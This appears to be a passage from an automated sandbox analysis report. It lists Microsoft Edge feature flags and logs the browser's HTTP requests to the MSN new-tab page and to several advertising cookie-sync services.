msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,ads-cfv4,1s-pnpfedloccf,pnpwxexpire360,bing_v2_scope,prg-1sw-sacfx2tc,prg-1sw-sa-capconf3t4,prg-1sw-sa-sp7-tcc,prg-1sw-rpdlaunch-5,prg-fin-cleftra,routefinanceprod,routergraphprod,prg-adspeek,prg-1sw-header-event,prg-pr2-widget-tab,f-rel-all,1s-fcrypt,1s-ntf1-pacerscale1,1s-ntf1-pacercand,1s-wpo-dmsdpr2,1s-wpo-pr2-dmsd,prg-1sw-dmpren,prg-1sw-sdcdp2,1s-ntf2-evlcfc,1s-ntf2-bknlc,1s-ntf2-iptlc,1s-pr2-evlc,1s-pr2-evlcbb,1s-pr2-evlch,1s-pr2-evlcn,1s-pr2-evlcrp,1s-pr2-evlct,1s-prg2-lifecycle,1s-wpo-pr2-ncard,1s-wpo-pr2-pnpfilter,1s-wpo-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,1s-rpssecautht,jj_fac_c,prg-cgp2-hott2,1s-cg-p2hot3,prg-1sw-dailypop,prg-1sw-trigdw,prg-pr2-trends-t1,1s-p2-lsawidget-c,1s-wpo-pr1-r1infpctl,cptest-msn-muid-c,1s-notifmapping,1s-shp-rc-te-combo1,1s-shp-rc-t2-ctr1204,1s-shp-rc-t3-nol2score,1s-shp-rc-ta-uetv2c,1s-shp-rc-te-crcfa2,1s-shp-rc-t-t2iv1,1s-shp-rc-tt-t2iv1,prg-sh-frnrc,prg-wx-dhgrd,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,1s-mxr-ntppage-c,1s-mxr-winfeed,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads-usepme,ads-anjson-migt,sh-bdvid,prg-sh-bd-video,prg-pr2-evt-wkndc,prg-1sw-mtr-en,prg-1sw-artf1,prg-1sw-artrcnr,ads-nooutbrain,release-outlook-app,ads-prcrid-bi,ads-fbk-gserver,cg-ab-testing-c,1s-ntf1-tvid-ctr,prg-1sw-reclaim2,prg-1sw-reclaim,1s-p2-bg-appanon,ads-bcn-cndomain,1s-blis-nocache,cg-int-ad-pod-int,msph-crossmarketcn,1s-ntp-tredisc,clarity-ios-c,msph-applbug,prg-pr2-lifecycleba,1s-pr2-evlcbackingapp,prg-pw-t-no-ad-css,prg-1sw-wxnhcolk,prg-1sw-sa-dnec,prg-cg-pub-entry,prg-1sw-crypinf,prg-cg-pwa-lock-sl,prg-wx-ofor,prg-1sw-cryptren,wid-1s-automg-cmp-t,1s-wid-automig-t,wid-1s-automig-t,1s-ntf1-dynprevc,msph-adsrevpd,1s-sports-newdship,prg-netfirstwhp,prg-cg-cfzhcnfx,prg-cg-lstfix,prg-sp-vid-overlay,prg-1sw-agfspf1,cs-ddos-dm,prg-1sw-tbrfltr,prg-pw-t-cct-migrate,1s-cntravelerv2,1s-cntravelercookiev2,1s-wpo-lock-mvp-rev,1s-wpo-lock-mvp1-rev,prg-1sw-aitt-dt,1s-ntf2-tvid-int-ctr,prg-gc-pickwinner,prg-1sw-cgl1qr,prg-fin-rmar,prg-ad-chtag,msphxap-offbatch4,prg-1sw-wxfrcvd,prg-shipwidoff,1s-wpo-widgets,prg-widgets-manager,prg-widgets-region,prg-pr2-delayheadert2,prg-pr2-delaybanner,prg-pr2-delayheader,prg-pr2-stalecontent-dt,prg-pr2-stalecontent,prg-1sw-wxomghd,cprg-c-bl-nwtab,prg-pr2-uxmitipreimg,d5j7a890,1s-p2-ig
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=cae0bcac-0788-4314-8d6d-ef1f6cde9e84&ii=1&c=2556969255498558843&bid=af84565f-f8a6-4f2f-a974-1cccfb0c3669&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 150sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; MUIDB=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=79ce19f4-5d97-4e79-bde7-86678df03e68; ai_session=4GQ3I+JGTtsRdJFn4pBfwj\|1736578471570\|1736578471570; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=F7B66E0F99774EE4994A9572D133A3C9.RefC=2025-01-11T06:54:29Z; _C_ETH=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D0136911D054E6BFC0E90846C04216AB7%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D0136911D054E6BFC0E90846C04216AB7%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=0136911D054E6BFC0E90846C04216AB7&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=dfa64b01-ec54-411d-97b5-76d005271c07&ii=1&c=2556969255498558843&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D0136911D054E6BFC0E90846C04216AB7%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=1dd19eb1-735b-470f-9209-d9bb436269a4&ii=1&c=7645241228381444372&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=13e49033-643c-448b-9c06-1bea332fabbe&ii=1&c=11891600591998607670&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=f7b66e0f99774ee4994a9572d133a3c9&r=resinfopane&i=6&p=edgechrntp&l=en-us&d=bing&b=Edg&a=087acc36-08c1-4daa-8dbd-3c1c710f7f4a&ii=1&c=15351574985914386683&bid=4612d191-d50f-4858-b355-b9340e91f3fd&tid=edgechrntp-resinfopane-6&ptid=edgechrntp-resinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=0136911D054E6BFC0E90846C04216AB7; _EDGE_S=F=1&SID=06A729D55B716F1D1BB63CA45A186E3F; _EDGE_V=1; msnup=%7B%22cnex%22%3A%22no%22%7D
